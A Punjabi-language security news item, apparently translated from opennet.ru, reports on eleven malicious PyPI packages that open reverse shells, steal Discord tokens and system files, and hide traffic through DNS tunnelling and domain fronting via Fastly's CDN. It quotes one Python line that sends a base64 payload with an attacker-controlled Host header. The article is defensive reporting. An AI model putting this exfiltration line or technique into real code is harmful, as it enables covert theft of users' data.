PyPI ਕੈਟਾਲਾਗ ਵਿੱਚ ਖਤਰਨਾਕ ਲਾਇਬ੍ਰੇਰੀਆਂ ਦੀ ਪਛਾਣ ਕੀਤੀ ਗਈ ਹੈ ਜੋ ਸੰਚਾਰ ਚੈਨਲ ਨੂੰ ਲੁਕਾਉਣ ਲਈ PyPI CDN ਦੀ ਵਰਤੋਂ ਕਰਦੀਆਂ ਹਨ

PyPI (ਪਾਈਥਨ ਪੈਕੇਜ ਇੰਡੈਕਸ) ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ, ਖਤਰਨਾਕ ਕੋਡ ਵਾਲੇ 11 ਪੈਕੇਜਾਂ ਦੀ ਪਛਾਣ ਕੀਤੀ ਗਈ ਸੀ। ਸਮੱਸਿਆਵਾਂ ਦੀ ਪਛਾਣ ਕਰਨ ਤੋਂ ਪਹਿਲਾਂ, ਪੈਕੇਜਾਂ ਨੂੰ ਕੁੱਲ ਮਿਲਾ ਕੇ ਲਗਭਗ 38 ਹਜ਼ਾਰ ਵਾਰ ਡਾਊਨਲੋਡ ਕੀਤਾ ਗਿਆ ਸੀ। ਖੋਜੇ ਗਏ ਖਤਰਨਾਕ ਪੈਕੇਜ ਹਮਲਾਵਰਾਂ ਦੇ ਸਰਵਰਾਂ ਨਾਲ ਸੰਚਾਰ ਚੈਨਲਾਂ ਨੂੰ ਛੁਪਾਉਣ ਲਈ ਆਧੁਨਿਕ ਤਰੀਕਿਆਂ ਦੀ ਵਰਤੋਂ ਲਈ ਪ੍ਰਸਿੱਧ ਹਨ।

• importantpackage (6305 ਡਾਉਨਲੋਡਸ), ਮਹੱਤਵਪੂਰਣ-ਪੈਕੇਜ (12897) - ਸਿਸਟਮ (ਰਿਵਰਸ ਸ਼ੈੱਲ) ਨੂੰ ਸ਼ੈੱਲ ਪਹੁੰਚ ਪ੍ਰਦਾਨ ਕਰਨ ਲਈ pypi.python.org ਨਾਲ ਜੁੜਨ ਦੀ ਆੜ ਵਿੱਚ ਇੱਕ ਬਾਹਰੀ ਸਰਵਰ ਨਾਲ ਇੱਕ ਕੁਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕੀਤਾ ਅਤੇ ਲੁਕਾਉਣ ਲਈ trevorc2 ਪ੍ਰੋਗਰਾਮ ਦੀ ਵਰਤੋਂ ਕੀਤੀ। ਸੰਚਾਰ ਚੈਨਲ.
• pptest (10001), ipboards (946) - ਸਿਸਟਮ ਬਾਰੇ ਜਾਣਕਾਰੀ ਪ੍ਰਸਾਰਿਤ ਕਰਨ ਲਈ ਇੱਕ ਸੰਚਾਰ ਚੈਨਲ ਵਜੋਂ DNS ਦੀ ਵਰਤੋਂ ਕੀਤੀ (ਪਹਿਲੇ ਪੈਕੇਟ ਵਿੱਚ ਹੋਸਟ ਨਾਮ, ਕਾਰਜਕਾਰੀ ਡਾਇਰੈਕਟਰੀ, ਅੰਦਰੂਨੀ ਅਤੇ ਬਾਹਰੀ IP, ਦੂਜੇ ਵਿੱਚ - ਉਪਭੋਗਤਾ ਨਾਮ ਅਤੇ ਹੋਸਟ ਨਾਮ) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ਸਿਸਟਮ ਵਿੱਚ ਡਿਸਕਾਰਡ ਸੇਵਾ ਟੋਕਨ ਦੀ ਪਛਾਣ ਕੀਤੀ ਅਤੇ ਇਸਨੂੰ ਇੱਕ ਬਾਹਰੀ ਹੋਸਟ ਨੂੰ ਭੇਜਿਆ।
• trrfab (287) - ਪਛਾਣਕਰਤਾ, ਹੋਸਟ ਦਾ ਨਾਮ ਅਤੇ /etc/passwd, /etc/hosts, /home ਦੀ ਸਮੱਗਰੀ ਬਾਹਰੀ ਹੋਸਟ ਨੂੰ ਭੇਜੀ ਹੈ।
• 10Cent10 (490) - ਇੱਕ ਬਾਹਰੀ ਹੋਸਟ ਨਾਲ ਇੱਕ ਰਿਵਰਸ ਸ਼ੈੱਲ ਕਨੈਕਸ਼ਨ ਸਥਾਪਿਤ ਕੀਤਾ।
• yandex-yt (4183) - ਸਿਸਟਮ ਨਾਲ ਸਮਝੌਤਾ ਕੀਤਾ ਜਾ ਰਿਹਾ ਹੈ ਅਤੇ nda.ya.ru (api.ya.cc) ਰਾਹੀਂ ਜਾਰੀ ਕੀਤੀਆਂ ਹੋਰ ਕਾਰਵਾਈਆਂ ਬਾਰੇ ਵਾਧੂ ਜਾਣਕਾਰੀ ਦੇ ਨਾਲ ਇੱਕ ਪੰਨੇ 'ਤੇ ਰੀਡਾਇਰੈਕਟ ਕੀਤੇ ਜਾਣ ਬਾਰੇ ਇੱਕ ਸੁਨੇਹਾ ਪ੍ਰਦਰਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਹੈ।

ਖਾਸ ਤੌਰ 'ਤੇ ਮਹੱਤਵਪੂਰਨ ਪੈਕੇਜ ਅਤੇ ਮਹੱਤਵਪੂਰਨ-ਪੈਕੇਜ ਪੈਕੇਜਾਂ ਵਿੱਚ ਵਰਤੇ ਗਏ ਬਾਹਰੀ ਮੇਜ਼ਬਾਨਾਂ ਨੂੰ ਐਕਸੈਸ ਕਰਨ ਦਾ ਤਰੀਕਾ ਹੈ, ਜੋ ਕਿ ਉਹਨਾਂ ਦੀ ਗਤੀਵਿਧੀ ਨੂੰ ਲੁਕਾਉਣ ਲਈ PyPI ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਵਰਤੇ ਗਏ ਫਾਸਟਲੀ ਸਮੱਗਰੀ ਡਿਲੀਵਰੀ ਨੈੱਟਵਰਕ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ। ਵਾਸਤਵ ਵਿੱਚ, ਬੇਨਤੀਆਂ pypi.python.org ਸਰਵਰ ਨੂੰ ਭੇਜੀਆਂ ਗਈਆਂ ਸਨ (HTTPS ਬੇਨਤੀ ਦੇ ਅੰਦਰ SNI ਵਿੱਚ python.org ਨਾਮ ਨਿਰਧਾਰਤ ਕਰਨ ਸਮੇਤ), ਪਰ HTTP “ਹੋਸਟ” ਸਿਰਲੇਖ ਵਿੱਚ ਹਮਲਾਵਰਾਂ ਦੁਆਰਾ ਨਿਯੰਤਰਿਤ ਸਰਵਰ ਦਾ ਨਾਮ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਸੀ (sec. forward.io. global.prod.fastly.net). ਸਮੱਗਰੀ ਡਿਲੀਵਰੀ ਨੈਟਵਰਕ ਨੇ ਡਾਟਾ ਸੰਚਾਰਿਤ ਕਰਨ ਵੇਲੇ pypi.python.org ਤੇ TLS ਕਨੈਕਸ਼ਨ ਦੇ ਮਾਪਦੰਡਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਹਮਲਾਵਰ ਸਰਵਰ ਨੂੰ ਇੱਕ ਸਮਾਨ ਬੇਨਤੀ ਭੇਜੀ ਹੈ।

PyPI ਬੁਨਿਆਦੀ ਢਾਂਚਾ ਫਾਸਟਲੀ ਕੰਟੈਂਟ ਡਿਲੀਵਰੀ ਨੈੱਟਵਰਕ ਦੁਆਰਾ ਸੰਚਾਲਿਤ ਹੈ, ਜੋ ਆਮ ਬੇਨਤੀਆਂ ਨੂੰ ਕੈਸ਼ ਕਰਨ ਲਈ ਇੱਕ ਪਾਰਦਰਸ਼ੀ ਵਾਰਨਿਸ਼ ਪ੍ਰੌਕਸੀ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ ਅਤੇ ਪ੍ਰੌਕਸੀ ਰਾਹੀਂ HTTPS ਬੇਨਤੀਆਂ ਨੂੰ ਰੂਟ ਕਰਨ ਲਈ, ਐਂਡਪੁਆਇੰਟ ਸਰਵਰਾਂ ਦੀ ਬਜਾਏ CDN ਪੱਧਰ 'ਤੇ TLS ਸਰਟੀਫਿਕੇਟਾਂ ਨੂੰ ਹੈਂਡਲ ਕਰਦਾ ਹੈ। ਟਾਰਗੇਟ ਹੋਸਟ ਦੀ ਪਰਵਾਹ ਕੀਤੇ ਬਿਨਾਂ, ਬੇਨਤੀਆਂ ਨੂੰ ਪ੍ਰੌਕਸੀ ਵੱਲ ਭੇਜਿਆ ਜਾਂਦਾ ਹੈ, ਜੋ "ਹੋਸਟ" HTTP ਹੈਡਰ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਲੋੜੀਂਦੇ ਹੋਸਟ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਦਾ ਹੈ। ਡੋਮੇਨ ਨਾਮ ਹੋਸਟਾਂ ਨੂੰ CDN ਲੋਡ ਬੈਲੇਂਸਰ IP ਪਤਿਆਂ ਨਾਲ ਮੈਪ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜੋ ਸਾਰੇ ਫਾਸਟਲੀ ਗਾਹਕਾਂ ਲਈ ਆਮ ਹਨ।

ਹਮਲਾਵਰ ਦਾ ਸਰਵਰ ਫਾਸਟਲੀ ਸੀਡੀਐਨ ਨਾਲ ਵੀ ਰਜਿਸਟਰ ਹੁੰਦਾ ਹੈ, ਜੋ ਕਿਸੇ ਨੂੰ ਵੀ ਮੁਫਤ ਯੋਜਨਾਵਾਂ ਦੀ ਪੇਸ਼ਕਸ਼ ਕਰਦਾ ਹੈ ਅਤੇ ਅਗਿਆਤ ਰਜਿਸਟ੍ਰੇਸ਼ਨ ਦੀ ਆਗਿਆ ਵੀ ਦਿੰਦਾ ਹੈ। ਖਾਸ ਤੌਰ 'ਤੇ, ਰਿਵਰਸ ਸ਼ੈੱਲ ਦੀ ਵਰਤੋਂ ਪੀੜਤ ਨੂੰ ਬੇਨਤੀਆਂ ਭੇਜਣ ਲਈ ਵੀ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਪਰ ਹਮਲਾਵਰ ਦੇ ਹੋਸਟ ਤੋਂ ਸ਼ੁਰੂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਬਾਹਰੋਂ, ਹਮਲਾਵਰ ਦੇ ਸਰਵਰ ਨਾਲ ਗੱਲਬਾਤ PyPI ਡਾਇਰੈਕਟਰੀ ਦੇ ਨਾਲ ਜਾਇਜ਼ ਸੈਸ਼ਨ ਜਾਪਦੀ ਹੈ, ਜੋ ਕਿ ਐਨਕ੍ਰਿਪਟ ਕੀਤੀ ਗਈ ਹੈ। TLS ਸਰਟੀਫਿਕੇਟ PyPI। ਇੱਕ ਸਮਾਨ ਤਕਨੀਕ, ਜਿਸਨੂੰ "ਡੋਮੇਨ ਫਰੰਟਿੰਗ" ਕਿਹਾ ਜਾਂਦਾ ਹੈ, ਪਹਿਲਾਂ ਬਲਾਕਿੰਗ ਨੂੰ ਬਾਈਪਾਸ ਕਰਦੇ ਸਮੇਂ ਹੋਸਟਨਾਮਾਂ ਨੂੰ ਲੁਕਾਉਣ ਲਈ ਵਿਆਪਕ ਤੌਰ 'ਤੇ ਵਰਤੀ ਜਾਂਦੀ ਸੀ। ਇਹ ਤਕਨੀਕ ਕੁਝ CDNs ਦੁਆਰਾ ਪੇਸ਼ ਕੀਤੀ ਗਈ HTTPS ਪਹੁੰਚ ਵਿਸ਼ੇਸ਼ਤਾ ਦੀ ਵਰਤੋਂ ਕਰਦੀ ਹੈ, SNI ਵਿੱਚ ਇੱਕ ਡਮੀ ਹੋਸਟਨਾਮ ਨਿਰਧਾਰਤ ਕਰਦੀ ਹੈ ਅਤੇ ਅਸਲ ਵਿੱਚ TLS ਸੈਸ਼ਨ ਦੇ ਅੰਦਰ HTTP ਹੋਸਟ ਹੈਡਰ ਵਿੱਚ ਬੇਨਤੀ ਕੀਤੇ ਹੋਸਟਨਾਮ ਨੂੰ ਸੰਚਾਰਿਤ ਕਰਦੀ ਹੈ।

ਖਤਰਨਾਕ ਗਤੀਵਿਧੀ ਨੂੰ ਛੁਪਾਉਣ ਲਈ, TrevorC2 ਪੈਕੇਜ ਨੂੰ ਨਿਯਮਤ ਵੈੱਬ ਨੈਵੀਗੇਸ਼ਨ ਵਾਂਗ ਸਰਵਰ ਨਾਲ ਗੱਲਬਾਤ ਕਰਨ ਲਈ ਵੀ ਵਰਤਿਆ ਗਿਆ ਸੀ, ਉਦਾਹਰਣ ਵਜੋਂ, "https://pypi.python.org/images/" ਚਿੱਤਰ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਦੀ ਆੜ ਵਿੱਚ ਖਤਰਨਾਕ ਬੇਨਤੀਆਂ ਭੇਜੀਆਂ ਗਈਆਂ ਸਨ। guid=” guid ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਜਾਣਕਾਰੀ ਏਨਕੋਡਿੰਗ ਦੇ ਨਾਲ। url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {'Host': “psec.forward.io.global.prod.fastly.net”})

pptest ਅਤੇ ipboards ਪੈਕੇਜਾਂ ਨੇ ਨੈੱਟਵਰਕ ਗਤੀਵਿਧੀ ਨੂੰ ਲੁਕਾਉਣ ਲਈ ਇੱਕ ਵੱਖਰੀ ਪਹੁੰਚ ਦੀ ਵਰਤੋਂ ਕੀਤੀ, DNS ਸਰਵਰ ਲਈ ਪੁੱਛਗਿੱਛਾਂ ਵਿੱਚ ਉਪਯੋਗੀ ਜਾਣਕਾਰੀ ਨੂੰ ਏਨਕੋਡਿੰਗ ਦੇ ਅਧਾਰ ਤੇ। ਮਾਲਵੇਅਰ "nu4timjagq4fimbuhe.example.com" ਵਰਗੀਆਂ DNS ਬੇਨਤੀਆਂ ਕਰ ਕੇ ਜਾਣਕਾਰੀ ਪ੍ਰਸਾਰਿਤ ਕਰਦਾ ਹੈ, ਜਿਸ ਵਿੱਚ ਕੰਟਰੋਲ ਸਰਵਰ ਨੂੰ ਭੇਜੇ ਗਏ ਡੇਟਾ ਨੂੰ ਸਬਡੋਮੇਨ ਨਾਮ ਵਿੱਚ base64 ਫਾਰਮੈਟ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਏਨਕੋਡ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਹਮਲਾਵਰ example.com ਡੋਮੇਨ ਲਈ DNS ਸਰਵਰ ਨੂੰ ਨਿਯੰਤਰਿਤ ਕਰਕੇ ਇਹ ਸੁਨੇਹੇ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ।

ਸਰੋਤ: opennet.ru